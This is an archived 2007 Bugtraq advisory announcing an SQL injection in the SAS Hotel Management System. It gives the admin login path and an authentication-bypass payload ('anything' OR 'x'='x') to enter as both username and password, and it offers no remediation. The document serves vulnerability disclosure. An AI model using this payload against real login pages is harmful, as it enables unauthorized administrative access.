Bugtraq: [Aria-Security.net] SAS Hotel Management System SQL Injection

Nmap Security Scanner

Intro

Ref Guide

Install Guide

Download

Changelog

Book

Docs
Security Lists

Bugtraq

Basics

More
Security Tools

More
Site News
Site Search:
Exploit World
Advertising
About/Contact
Credits
Sponsors:

Bugtraq mailing list archives

[Aria-Security.net] SAS Hotel Management System SQL Injection

From: Advisory () Aria-security net
Date: 9 Aug 2007 07:33:56 -0000

__________________________

A R I A - S E CU R I T Y  
___________________________

SAS Hotel Management System SQL Injection
http://www.sellatsite.com/sellatsite/hotel.asp


Explanation:

http://path/admin/admin.asp

Username: anything' OR 'x'='x
password: anything' OR 'x'='x



Credits: Aria-Security Team
http://aria-security.net
http://outlaw.Aria-Security.net/ [PERSONAL BLOG]

By Date By Thread

Current thread:

[Aria-Security.net] SAS Hotel Management System SQL Injection Advisory (Aug 09)